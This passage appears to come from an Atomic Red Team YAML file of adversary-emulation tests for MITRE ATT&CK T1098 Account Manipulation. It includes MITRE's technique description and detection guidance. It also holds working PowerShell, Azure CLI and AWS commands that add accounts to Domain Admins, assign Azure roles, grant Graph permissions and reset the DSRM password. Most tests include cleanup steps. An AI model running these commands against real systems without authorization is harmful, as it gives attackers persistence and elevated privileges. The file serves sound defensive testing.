reallylongcredential12345ART-ydsfghsdgfhsdgfhgsdhfg dependency_executor_name: powershell dependencies: - description: Check if AzureAD PowerShell module is installed prereq_command: Get-InstalledModule -Name AzureAD get_prereq_command: echo "use the following to install AzureAD PowerShell module - Install-Module -Name AzureAD -Scope CurrentUser -Repository PSGallery -Force" - description: Check if AzureAD PowerShell module is installed prereq_command: Update the input arguments so the userprincipalname value is accurate for your environment get_prereq_command: echo "Update the input arguments in the .yaml file so that the userprincipalname value is accurate for your environment" executor: command: "Connect-AzureAD\n$userprincipalname = \"#{userprincipalname}\"\n$username = \"#{username}\" \n$password = \"#{password}\"\n$PasswordProfile = New-Object -TypeName Microsoft.Open.AzureAD.Model.PasswordProfile\n$PasswordProfile.Password = $password\nNew-AzureADUser -DisplayName $username -PasswordProfile $PasswordProfile -UserPrincipalName $userprincipalname -AccountEnabled $true -MailNickName $username " cleanup_command: Remove-AzureADUser -ObjectId "#{userprincipalname}" name: powershell - name: Azure AD - Create a new user via Azure CLI auto_generated_guid: 228c7498-be31-48e9-83b7-9cb906504ec8 description: Creates a new user in Azure AD via the Azure CLI. Upon successful creation, a new user will be created. Adversaries create new users so that their malicious activity does not interrupt the normal functions of the compromised users and can remain undetected for a long time. supported_platforms: - azure-ad input_arguments: username: description: Display name of the new user to be created in Azure AD type: string default: atomicredteam userprincipalname: description: User principal name (UPN) for the new Azure user being created format email address type: string default: atomicredteam@yourdomain.com password: description: Password for the new Azure AD user being created type: string default: reallylongcredential12345ART-ydsfghsdgfhsdgfhgsdhfg dependency_executor_name: powershell dependencies: - description: Check if Azure CLI is installed and install manually prereq_command: az account list get_prereq_command: echo "use the following to install the Azure CLI manually https://aka.ms/installazurecliwindows" - description: Check if Azure CLI is installed and install via PowerShell prereq_command: az account list get_prereq_command: echo "use the following to install the Azure CLI $ProgressPreference = 'SilentlyContinue'; Invoke-WebRequest -Uri https://aka.ms/installazurecliwindows -OutFile .\AzureCLI.msi; Start-Process msiexec.exe -Wait -ArgumentList '/I AzureCLI.msi /quiet'; Remove-Item .\AzureCLI.msi" - description: Update the userprincipalname to meet your requirements prereq_command: Update the input arguments so the userprincipalname value is accurate for your environment get_prereq_command: echo "Update the input arguments in the .yaml file so that the userprincipalname value is accurate for your environment" executor: command: "az login\n$userprincipalname = \"#{userprincipalname}\"\n$username = \"#{username}\" \n$password = \"#{password}\"\naz ad user create --display-name $username --password $password --user-principal-name $userprincipalname\naz ad user list --filter \"displayname eq 'atomicredteam'\" " cleanup_command: az ad user delete --id name: powershell T1098: technique: modified: '2024-01-16T22:24:38.234Z' name: Account Manipulation description: "Adversaries may manipulate accounts to maintain and/or elevate access to victim systems. Account manipulation may consist of any action that preserves or modifies adversary access to a compromised account, such as modifying credentials or permission groups.(Citation: FireEye SMOKEDHAM June 2021) These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials. \n\nIn order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain. However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged [Valid Accounts](https://attack.mitre.org/techniques/T1078)." kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_contributors: - Jannie Li, Microsoft Threat Intelligence Center (MSTIC) - Praetorian - Tim MalcomVetter - Wojciech Lesicki - Arad Inbar, Fidelis Security x_mitre_deprecated: false x_mitre_detection: |- Collect events that correlate with changes to account objects and/or permissions on systems and the domain, such as event IDs 4738, 4728 and 4670.(Citation: Microsoft User Modified Event)(Citation: Microsoft Security Event 4670)(Citation: Microsoft Security Event 4670) Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems. Especially flag events where the subject and target accounts differ(Citation: InsiderThreat ChangeNTLM July 2017) or that include additional flags such as changing a password without knowledge of the old password.(Citation: GitHub Mimikatz Issue 92 June 2017) Monitor for use of credentials at unusual times or to unusual systems or services. This may also correlate with other suspicious activity. Monitor for unusual permissions changes that may indicate excessively broad permissions being granted to compromised accounts. However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged [Valid Accounts](https://attack.mitre.org/techniques/T1078) x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Windows - Azure AD - Office 365 - IaaS - Linux - macOS - Google Workspace - SaaS - Network - Containers x_mitre_version: '2.6' x_mitre_data_sources: - 'Command: Command Execution' - 'Process: Process Creation' - 'Active Directory: Active Directory Object Modification' - 'File: File Modification' - 'Group: Group Modification' - 'User Account: User Account Modification' type: attack-pattern id: attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27 created: '2017-05-31T21:31:12.196Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1098 external_id: T1098 - source_name: FireEye SMOKEDHAM June 2021 description: FireEye. (2021, June 16). Smoking Out a DARKSIDE Affiliate’s Supply Chain Software Compromise. Retrieved September 22, 2021. url: https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html - source_name: Microsoft Security Event 4670 description: Franklin Smith, R. (n.d.). Windows Security Log Event ID 4670. Retrieved November 4, 2019. url: https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4670 - source_name: Microsoft User Modified Event description: 'Lich, B., Miroshnikov, A. (2017, April 5). 4738(S): A user account was changed. Retrieved June 30, 2017.' url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4738 - source_name: InsiderThreat ChangeNTLM July 2017 description: Warren, J. (2017, July 11). Manipulating User Passwords with Mimikatz. Retrieved December 4, 2017. url: https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM - source_name: GitHub Mimikatz Issue 92 June 2017 description: 'Warren, J. (2017, June 22). lsadump::changentlm and lsadump::setntlm work, but generate Windows events #92. Retrieved December 4, 2017.' url: https://github.com/gentilkiwi/mimikatz/issues/92 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1098 atomic_tests: - name: Admin Account Manipulate auto_generated_guid: 5598f7cb-cf43-455e-883a-f6008c5d46af description: 'Manipulate Admin Account Name ' supported_platforms: - windows executor: command: | $x = Get-Random -Minimum 2 -Maximum 9999 $y = Get-Random -Minimum 2 -Maximum 9999 $z = Get-Random -Minimum 2 -Maximum 9999 $w = Get-Random -Minimum 2 -Maximum 9999 Write-Host HaHa_$x$y$z $fmm = Get-LocalGroupMember -Group Administrators |?{ $_.ObjectClass -match "User" -and $_.PrincipalSource -match "Local"} | Select Name foreach($member in $fmm) { if($member -like "*Administrator*") { $account = $member.Name.Split("\")[-1] # strip computername\ $originalDescription = (Get-LocalUser -Name $account).Description Set-LocalUser -Name $account -Description "atr:$account;$originalDescription".Substring(0,48) # Keep original name in description Rename-LocalUser -Name $account -NewName "HaHa_$x$y$z" # Required due to length limitation Write-Host "Successfully Renamed $account Account on " $Env:COMPUTERNAME } } cleanup_command: | $list = Get-LocalUser |?{$_.Description -like "atr:*"} foreach($u in $list) { $u.Description -match "atr:(?[^;]+);(?.*)" Set-LocalUser -Name $u.Name -Description $Matches.Description Rename-LocalUser -Name $u.Name -NewName $Matches.Name Write-Host "Successfully Reverted Account $($u.Name) to $($Matches.Name) on " $Env:COMPUTERNAME } name: powershell elevation_required: true - name: Domain Account and Group Manipulate auto_generated_guid: a55a22e9-a3d3-42ce-bd48-2653adb8f7a9 description: "Create a random atr-nnnnnnnn account and add it to a domain group (by default, Domain Admins). \n\nThe quickest way to run it is against a domain controller, using `-Session` of `Invoke-AtomicTest`. Alternatively,\nyou need to install PS Module ActiveDirectory (in prereqs) and run the script with appropriare AD privileges to \ncreate the user and alter the group. Automatic installation of the dependency requires an elevated session, \nand is unlikely to work with Powershell Core (untested).\n\nIf you consider running this test against a production Active Directory, the good practise is to create a dedicated\nservice account whose delegation is given onto a dedicated OU for user creation and deletion, as well as delegated\nas group manager of the target group.\n\nExample: `Invoke-AtomicTest -Session $session 'T1098' -TestNames \"Domain Account and Group Manipulate\" -InputArgs @{\"group\" = \"DNSAdmins\" }`\n" supported_platforms: - windows input_arguments: account_prefix: description: | Prefix string of the random username (by default, atr-). Because the cleanup deletes such account based on a match `(&(samaccountname=#{account_prefix}-*)(givenName=Test))`, if you are to change it, be careful. type: string default: atr- group: description: Name of the group to alter type: string default: Domain Admins create_args: description: Additional string appended to New-ADUser call type: string default: '' dependencies: - description: 'PS Module ActiveDirectory ' prereq_command: "Try {\n Import-Module ActiveDirectory -ErrorAction Stop | Out-Null\n exit 0\n} \nCatch {\n exit 1\n}\n" get_prereq_command: | if((Get-CimInstance -ClassName Win32_OperatingSystem).ProductType -eq 1) { Add-WindowsCapability -Name (Get-WindowsCapability -Name RSAT.ActiveDirectory.DS* -Online).Name -Online } else { Install-WindowsFeature RSAT-AD-PowerShell } executor: command: | $x = Get-Random -Minimum 2 -Maximum 99 $y = Get-Random -Minimum 2 -Maximum 99 $z = Get-Random -Minimum 2 -Maximum 99 $w = Get-Random -Minimum 2 -Maximum 99 Import-Module ActiveDirectory $account = "#{account_prefix}-$x$y$z" New-ADUser -Name $account -GivenName "Test" -DisplayName $account -SamAccountName $account -Surname $account -Enabled:$False #{create_args} Add-ADGroupMember "#{group}" $account cleanup_command: 'Get-ADUser -LDAPFilter "(&(samaccountname=#{account_prefix}-*)(givenName=Test))" | Remove-ADUser -Confirm:$False ' name: powershell - name: AWS - Create a group and add a user to that group auto_generated_guid: 8822c3b0-d9f9-4daf-a043-49f110a31122 description: 'Adversaries create AWS group, add users to specific to that group to elevate their privilieges to gain more accesss ' supported_platforms: - iaas:aws input_arguments: username: description: Name of the AWS group to create type: string default: atomicredteam dependencies: - description: 'Check if the user exists, we can only add a user to a group if the user exists. ' prereq_command: 'aws iam list-users | grep #{username} ' get_prereq_command: 'echo Please run atomic test T1136.003, before running this atomic test ' executor: command: | aws iam create-group --group-name #{username} aws iam add-user-to-group --user-name #{username} --group-name #{username} cleanup_command: | aws iam remove-user-from-group --user-name #{username} --group-name #{username} aws iam delete-group --group-name #{username} name: sh - name: Azure AD - adding user to Azure AD role auto_generated_guid: 0e65ae27-5385-46b4-98ac-607a8ee82261 description: "The adversaries want to add user to some Azure AD role. Threat actor \nmay be interested primarily in highly privileged roles, e.g. Global Administrator, Application Administrator, \nPrivileged Authentication Administrator (this role can reset Global Administrator password!).\nBy default, the role Global Reader is assigned to the user principal in this test.\n\nThe account you use to run the PowerShell command should have Privileged Role Administrator or Global Administrator role in your Azure AD.\n\nDetection hint - check Activity \"Add member to role\" in Azure AD Audit Logs. In targer you will also see User as a type.\n" supported_platforms: - azure-ad input_arguments: username: description: Azure AD username type: string default: jonh@contoso.com password: description: Azure AD password type: string default: p4sswd user_principal_name: description: Display Name, or User Principal Name, of the targeted user principal type: string default: SuperUser role_name: description: Name of the targeted Azure AD role type: string default: Global Reader dependencies: - description: 'AzureAD module must be installed. ' prereq_command: 'try {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1} ' get_prereq_command: 'Install-Module -Name AzureAD -Force ' executor: command: | Import-Module -Name AzureAD $PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword Connect-AzureAD -Credential $Credential $user = Get-AzureADUser -Filter "DisplayName eq '#{user_principal_name}' or UserPrincipalName eq '#{user_principal_name}'" if ($user -eq $null) { Write-Warning "User not found"; exit } $role = Get-AzureADDirectoryRole -Filter "DisplayName eq '#{role_name}'" if ($role -eq $null) { Write-Warning "Role not found"; exit } Add-AzureADDirectoryRoleMember -ObjectId $role.ObjectId -RefObjectId $user.ObjectId Write-Host "User $($user.DisplayName) was added to $($role.DisplayName) role" cleanup_command: | Import-Module -Name AzureAD -ErrorAction Ignore $PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword Connect-AzureAD -Credential $Credential -ErrorAction Ignore $user = Get-AzureADUser -Filter "DisplayName eq '#{user_principal_name}' or UserPrincipalName eq '#{user_principal_name}'" if ($user -eq $null) { Write-Warning "User not found"; exit } $role = Get-AzureADDirectoryRole -Filter "DisplayName eq '#{role_name}'" if ($role -eq $null) { Write-Warning "Role not found"; exit } Remove-AzureADDirectoryRoleMember -ObjectId $role.ObjectId -MemberId $user.ObjectId Write-Host "User $($user.DisplayName) was removed from $($role.DisplayName) role" name: powershell elevation_required: false - name: Azure AD - adding service principal to Azure AD role auto_generated_guid: 92c40b3f-c406-4d1f-8d2b-c039bf5009e4 description: "The adversaries want to add service principal to some Azure AD role. Threat actor \nmay be interested primarily in highly privileged roles, e.g. Global Administrator, Application Administrator, \nPrivileged Authentication Administrator (this role can reset Global Administrator password!).\nBy default, the role Global Reader is assigned to service principal in this test.\n\nThe account you use to run the PowerShell command should have Privileged Role Administrator or Global Administrator role in your Azure AD.\n\nDetection hint - check Activity \"Add member to role\" in Azure AD Audit Logs. In targer you will also see Service Principal as a type.\n" supported_platforms: - azure-ad input_arguments: username: description: Azure AD username type: string default: jonh@contoso.com password: description: Azure AD password type: string default: p4sswd service_principal_name: description: Name of the service principal type: string default: SuperSP role_name: description: Name of the targeted Azure AD role type: string default: Global Reader dependencies: - description: 'AzureAD module must be installed. ' prereq_command: 'try {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1} ' get_prereq_command: 'Install-Module -Name AzureAD -Force ' executor: command: | Import-Module -Name AzureAD $PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword Connect-AzureAD -Credential $Credential $sp = Get-AzureADServicePrincipal -Filter "DisplayName eq '#{service_principal_name}'" if ($sp -eq $null) { Write-Warning "Service Principal not found"; exit } $role = Get-AzureADDirectoryRole -Filter "DisplayName eq '#{role_name}'" if ($role -eq $null) { Write-Warning "Role not found"; exit } Add-AzureADDirectoryRoleMember -ObjectId $role.ObjectId -RefObjectId $sp.ObjectId Write-Host "Service Principal $($sp.DisplayName) was added to $($role.DisplayName)" cleanup_command: | Import-Module -Name AzureAD -ErrorAction Ignore $PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword Connect-AzureAD -Credential $Credential -ErrorAction Ignore $sp = Get-AzureADServicePrincipal -Filter "DisplayName eq '#{service_principal_name}'" if ($sp -eq $null) { Write-Warning "Service Principal not found"; exit } $role = Get-AzureADDirectoryRole -Filter "DisplayName eq '#{role_name}'" if ($role -eq $null) { Write-Warning "Role not found"; exit } Remove-AzureADDirectoryRoleMember -ObjectId $role.ObjectId -MemberId $sp.ObjectId Write-Host "Service Principal $($sp.DisplayName) was removed from $($role.DisplayName) role" name: powershell elevation_required: false - name: Azure - adding user to Azure role in subscription auto_generated_guid: 1a94b3fc-b080-450a-b3d8-6d9b57b472ea description: "The adversaries want to add user to some Azure role, also called Azure resource role. Threat actor \nmay be interested primarily in highly privileged roles, e.g. Owner, Contributor.\nBy default, the role Reader is assigned to user in this test.\n\nNew-AzRoleAssignment cmdlet could be also use to assign user/service principal to resource, resource group and management group.\n\nThe account you use to run the PowerShell command must have Microsoft.Authorization/roleAssignments/write \n(e.g. such as User Access Administrator or Owner) and the Azure Active Directory Graph Directory.Read.All \nand Microsoft Graph Directory.Read.All permissions.\n\nDetection hint - check Operation Name \"Create role assignment\" in subscriptions Activity Logs.\n" supported_platforms: - iaas:azure input_arguments: username: description: Azure AD username type: string default: jonh@contoso.com password: description: Azure AD password type: string default: p4sswd user_principal_name: description: Display Name, or User Principal Name, of the targeted user principal type: string default: SuperUser role_name: description: Name of the targeted Azure role type: string default: Reader subscription: description: Name of the targeted subscription type: string default: Azure subscription 1 dependencies: - description: 'Az.Resources module must be installed. ' prereq_command: 'try {if (Get-InstalledModule -Name Az.Resources -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1} ' get_prereq_command: 'Install-Module -Name Az.Resources -Force ' executor: command: | Import-Module -Name Az.Resources $PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword Connect-AzAccount -Credential $Credential $user = Get-AzADUser | where-object {$_.DisplayName -eq "#{user_principal_name}" -or $_.UserPrincipalName -eq "#{user_principal_name}" } if ($user -eq $null) { Write-Warning "User not found"; exit } $subscription = Get-AzSubscription | where-object {$_.Name -eq "#{subscription}"} if ($subscription -eq $null) { Write-Warning "Subscription not found"; exit } $role = Get-AzRoleDefinition | where-object {$_.Name -eq "#{role_name}"} if ($role -eq $null) { Write-Warning "Role not found"; exit } New-AzRoleAssignment -ObjectId $user.id -RoleDefinitionId $role.id -Scope /subscriptions/$subscription Write-Host "User $($user.DisplayName) was added to $($role.Name) role in subscriptions $($subscriptions.Name)" cleanup_command: | Import-Module -Name AzureAD -ErrorAction Ignore $PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword Connect-AzAccount -Credential $Credential -ErrorAction Ignore $user = Get-AzADUser | where-object {$_.DisplayName -eq "#{user_principal_name}" -or $_.UserPrincipalName -eq "#{user_principal_name}" } if ($user -eq $null) { Write-Warning "User not found"; exit } $subscription = Get-AzSubscription | where-object {$_.Name -eq "#{subscription}"} if ($subscription -eq $null) { Write-Warning "Subscription not found"; exit } $role = Get-AzRoleDefinition | where-object {$_.Name -eq "#{role_name}"} if ($role -eq $null) { Write-Warning "Role not found"; exit } Remove-AzRoleAssignment -ObjectId $user.id -RoleDefinitionId $role.id -Scope /subscriptions/$subscription Write-Host "User Principal $($sp.DisplayName) was removed from $($role.Name) role in subscriptions $($subscriptions.Name)" name: powershell elevation_required: false - name: Azure - adding service principal to Azure role in subscription auto_generated_guid: c8f4bc29-a151-48da-b3be-4680af56f404 description: "The adversaries want to add service principal to some Azure role, also called Azure resource role. Threat actor \nmay be interested primarily in highly privileged roles, e.g. Owner, Contributor.\nBy default, the role Reader is assigned to service principal in this test.\n\nNew-AzRoleAssignment cmdlet could be also use to assign user/service principal to resource, resource group and management group.\n\nThe account you use to run the PowerShell command must have Microsoft.Authorization/roleAssignments/write \n(e.g. such as User Access Administrator or Owner) and the Azure Active Directory Graph Directory.Read.All \nand Microsoft Graph Directory.Read.All permissions.\n\nDetection hint - check Operation Name \"Create role assignment\" in subscriptions Activity Logs.\n" supported_platforms: - iaas:azure input_arguments: username: description: Azure AD username type: string default: jonh@contoso.com password: description: Azure AD password type: string default: p4sswd service_principal_name: description: Name of the service principal type: string default: SuperSP role_name: description: Name of the targeted Azure role type: string default: Reader subscription: description: Name of the targeted subscription type: string default: Azure subscription 1 dependencies: - description: 'Az.Resources module must be installed. ' prereq_command: 'try {if (Get-InstalledModule -Name Az.Resources -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1} ' get_prereq_command: 'Install-Module -Name Az.Resources -Force ' executor: command: "Import-Module -Name Az.Resources\n$PWord = ConvertTo-SecureString -String \"#{password}\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"#{username}\", $Pword\nConnect-AzAccount -Credential $Credential\n\n$sp = Get-AzADServicePrincipal | where-object {$_.DisplayName -eq \"#{service_principal_name}\"}\nif ($sp -eq $null) { Write-Warning \"Service Principal not found\"; exit }\n$subscription = Get-AzSubscription | where-object {$_.Name -eq \"#{subscription}\"} \nif ($subscription -eq $null) { Write-Warning \"Subscription not found\"; exit }\n$role = Get-AzRoleDefinition | where-object {$_.Name -eq \"#{role_name}\"}\nif ($role -eq $null) { Write-Warning \"Role not found\"; exit }\n\nNew-AzRoleAssignment -ObjectId $sp.id -RoleDefinitionId $role.id -Scope /subscriptions/$subscription\nWrite-Host \"Service Principal $($sp.DisplayName) was added to $($role.Name) role in subscriptions $($subscriptions.Name)\"\n" cleanup_command: "Import-Module -Name AzureAD -ErrorAction Ignore\n$PWord = ConvertTo-SecureString -String \"#{password}\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"#{username}\", $Pword\nConnect-AzAccount -Credential $Credential -ErrorAction Ignore\n\n$sp = Get-AzADServicePrincipal | where-object {$_.DisplayName -eq \"#{service_principal_name}\"}\nif ($sp -eq $null) { Write-Warning \"Service Principal not found\"; exit }\n$subscription = Get-AzSubscription | where-object {$_.Name -eq \"#{subscription}\"} \nif ($subscription -eq $null) { Write-Warning \"Subscription not found\"; exit }\n$role = Get-AzRoleDefinition | where-object {$_.Name -eq \"#{role_name}\"}\nif ($role -eq $null) { Write-Warning \"Role not found\"; exit }\n\nRemove-AzRoleAssignment -ObjectId $sp.id -RoleDefinitionId $role.id -Scope /subscriptions/$subscription\nWrite-Host \"Service Principal $($sp.DisplayName) was removed from $($role.Name) role in subscriptions $($subscriptions.Name)\"\n" name: powershell elevation_required: false - name: Azure AD - adding permission to application auto_generated_guid: 94ea9cc3-81f9-4111-8dde-3fb54f36af4b description: | The adversaries want to add permission to newly created application. Application could be then used for persistence or for further operation in the attacked infrastructure. Permissions like AppRoleAssignment.ReadWrite.All or RoleManagement.ReadWrite.Directory in particular can be a valuable target for a threat actor. This technique will create a new app, with the provided name, and give it the provided permission. But if you prefer to add credentials to an existing app, replace in the code: "Get-AzureADApplication" instead of "New-AzureADServicePrincipal". The DirectoryRecommendations.Read.All permissions has been selected as the default. The account you use to run the PowerShell command should have Global Administrator/Application Administrator/Cloud Application Administrator role in your Azure AD. Detection hint - check Operation Name "Add app role assignment to service principal" in subscriptions Activity Logs. You can also take a look at the materials: https://learnsentinel.blog/2022/01/04/azuread-privesc-sentinel/ https://github.com/reprise99/Sentinel-Queries https://docs.google.com/presentation/d/1AWx1w0Xcq8ENvOmSjAJswEgEio-il09QWZlGg9PbHqE/edit#slide=id.g10460eb209c_0_2766 https://gist.github.com/andyrobbins/7c3dd62e6ed8678c97df9565ff3523fb supported_platforms: - azure-ad input_arguments: username: description: Azure AD username type: string default: jonh@contoso.com password: description: Azure AD password type: string default: p4sswd application_name: description: Name of the targeted application that will be created type: string default: test_app application_permission: description: Permission from Microsoft Graph Resource API that will be added to application type: string default: DirectoryRecommendations.Read.All dependencies: - description: 'AzureAD module must be installed. ' prereq_command: 'try {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1} ' get_prereq_command: 'Install-Module -Name AzureAD -Force ' executor: command: "Import-Module -Name AzureAD\n$PWord = ConvertTo-SecureString -String \"#{password}\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"#{username}\", $Pword\nConnect-AzureAD -Credential $Credential\n\n$aadApplication = New-AzureADApplication -DisplayName \"#{application_name}\"\n$servicePrincipal = New-AzureADServicePrincipal -AppId $aadApplication.AppId\n#$aadApplication = Get-AzureADApplication -Filter \"DisplayName eq '#{application_name}'\"\n\n#Get Service Principal of Microsoft Graph Resource API \n$graphSP = Get-AzureADServicePrincipal -Filter \"DisplayName eq 'Microsoft Graph'\"\n\n#Initialize RequiredResourceAccess for Microsoft Graph Resource API \n$requiredGraphAccess = New-Object Microsoft.Open.AzureAD.Model.RequiredResourceAccess\n$requiredGraphAccess.ResourceAppId = $graphSP.AppId\n$requiredGraphAccess.ResourceAccess = New-Object System.Collections.Generic.List[Microsoft.Open.AzureAD.Model.ResourceAccess]\n\n#Set Application Permissions\n$ApplicationPermissions = @('#{application_permission}')\n\n$reqPermission = $graphSP.AppRoles | Where-Object {$_.Value -eq $ApplicationPermissions}\nif($reqPermission)\n{\n$resourceAccess = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess\n$resourceAccess.Type = \"Role\"\n$resourceAccess.Id = $reqPermission.Id \n#Add required app permission\n$requiredGraphAccess.ResourceAccess.Add($resourceAccess)\n}\nelse\n{\nWrite-Host \"App permission $permission not found in the Graph Resource API\" -ForegroundColor Red\n}\n\n#Add required resource accesses\n$requiredResourcesAccess = New-Object System.Collections.Generic.List[Microsoft.Open.AzureAD.Model.RequiredResourceAccess]\n$requiredResourcesAccess.Add($requiredGraphAccess)\n\n#Set permissions in existing Azure AD App\nSet-AzureADApplication -ObjectId $aadApplication.ObjectId -RequiredResourceAccess $requiredResourcesAccess\n\n$servicePrincipal = Get-AzureADServicePrincipal -Filter \"AppId eq '$($aadApplication.AppId)'\"\n\nNew-AzureADServiceAppRoleAssignment -ObjectId $servicePrincipal.ObjectId -PrincipalId $servicePrincipal.ObjectId -ResourceId $graphSP.ObjectId -Id $reqPermission.Id\n" cleanup_command: | Import-Module -Name AzureAD $PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword Connect-AzureAD -Credential $Credential $aadApplication = @(Get-AzureADApplication -Filter "DisplayName eq '#{application_name}'") If ($aadApplication.Count -eq 0) { Write-Host "App not found: cannot delete it" exit } ElseIf ($aadApplication.Count -gt 1) { Write-Host "Found several app with name '#{application_name}': one is likely the one this technique created, but as a precaution, none will be deleted. Manual cleanup is required." exit } Else { Remove-AzureADApplication -ObjectId $aadApplication[0].ObjectId Write-Host "Successfully deleted app" } name: powershell elevation_required: false - name: Password Change on Directory Service Restore Mode (DSRM) Account auto_generated_guid: d5b886d9-d1c7-4b6e-a7b0-460041bf2823 description: 'Change the password on the Directory Service Restore Mode (DSRM) account using ntdsutil by syncing to existing account ' supported_platforms: - windows input_arguments: sync_account: description: Account to sync password from type: string default: "%username%" executor: name: command_prompt elevation_required: true command: 'ntdsutil "set dsrm password" "sync from domain account #{sync_account}" "q" "q" ' - name: 'Domain Password Policy Check: Short Password' auto_generated_guid: fc5f9414-bd67-4f5f-a08e-e5381e29cbd1 description: | Attempt to change the password of the current domain user in order to check password policy. Ideally, you would only run this atomic test to verify that your password policy is blocking the use of the new password. If the password is succesfully changed to the new password, the credential file will be updated to reflect the new password. You can then run the atomic manually and specify a new password of your choosing, however the password policy will likely prevent you from setting the password back to what it was. supported_platforms: - windows input_arguments: new_password: description: The password to set for the current domain user (default value is 7 characters) type: string default: Uplow-1 cred_file: description: A file containing the password of the current user type: path default: "$env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt" dependencies: - description: 'Password for current user must be stored in a credential file ' prereq_command: 'if (Test-Path #{cred_file}) {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{cred_file}") -ErrorAction Ignore | Out-Null $cred = Get-Credential -UserName $env:USERNAME -message "Enter password for $env:USERNAME to use during password change attempt" $cred.Password | ConvertFrom-SecureString | Out-File "#{cred_file}" executor: name: powershell command: "$credFile = \"#{cred_file}\"\nif (Test-Path $credFile) {\n $cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)\n if($cred.GetNetworkCredential().Password -eq \"#{new_password}\"){\n Write-Host -ForegroundColor Yellow \"The new password is the same as the password stored in the credential file. Please specify a different new password.\"; exit -1\n }\n try {\n \ $newPassword = ConvertTo-SecureString #{new_password} -AsPlainText -Force\n Set-ADAccountPassword -Identity $env:USERNAME -OldPassword $cred.password -NewPassword $newPassword\n }\n catch { \n $_.Exception\n \ $errCode = $_.Exception.ErrorCode\n Write-Host \"Error code: $errCode\"\n if ($errCode -eq 86) {\n Write-Host -ForegroundColor Yellow \"The stored password for the current user is incorrect. Please run the prereq commands to set the correct credentials\"\n Remove-Item $credFile\n }\n exit $errCode\n }\n Write-Host -ForegroundColor Cyan \"Successfully changed the password to #{new_password}\"\n $newCred = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString \"#{new_password}\" -AsPlainText -Force))\n $newCred.Password | ConvertFrom-SecureString | Out-File $credFile\n}\nelse {\n Write-Host -ForegroundColor Yellow \"You must store the password of the current user by running the prerequisite commands first\"\n}\n" - name: 'Domain Password Policy Check: No Number in Password' auto_generated_guid: 68190529-069b-4ffc-a942-919704158065 description: "Attempt to change the password of the current domain user in order to check password policy. Ideally, you would only run this atomic test to verify that your password policy is blocking the use of the new password.\nIf the password is succesfully changed to the new password, the credential file will be updated to reflect the new password. You can then run the atomic manually and specify a new password of your choosing, however the\npassword policy will likely prevent you from setting the password back to what it was. \n" supported_platforms: - windows input_arguments: new_password: description: The password to set for the current domain user (default is long and has upper and lower case and special character but no number) type: string default: UpperLowerLong-special cred_file: description: A file containing the password of the current user type: path default: "$env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt" dependencies: - description: 'Password for current user must be stored in a credential file ' prereq_command: 'if (Test-Path #{cred_file}) {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{cred_file}") -ErrorAction Ignore | Out-Null $cred = Get-Credential -UserName $env:USERNAME -message "Enter password for $env:USERNAME to use during password change attempt" $cred.Password | ConvertFrom-SecureString | Out-File "#{cred_file}" executor: name: powershell command: "$credFile = \"#{cred_file}\"\nif (Test-Path $credFile) {\n $cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)\n 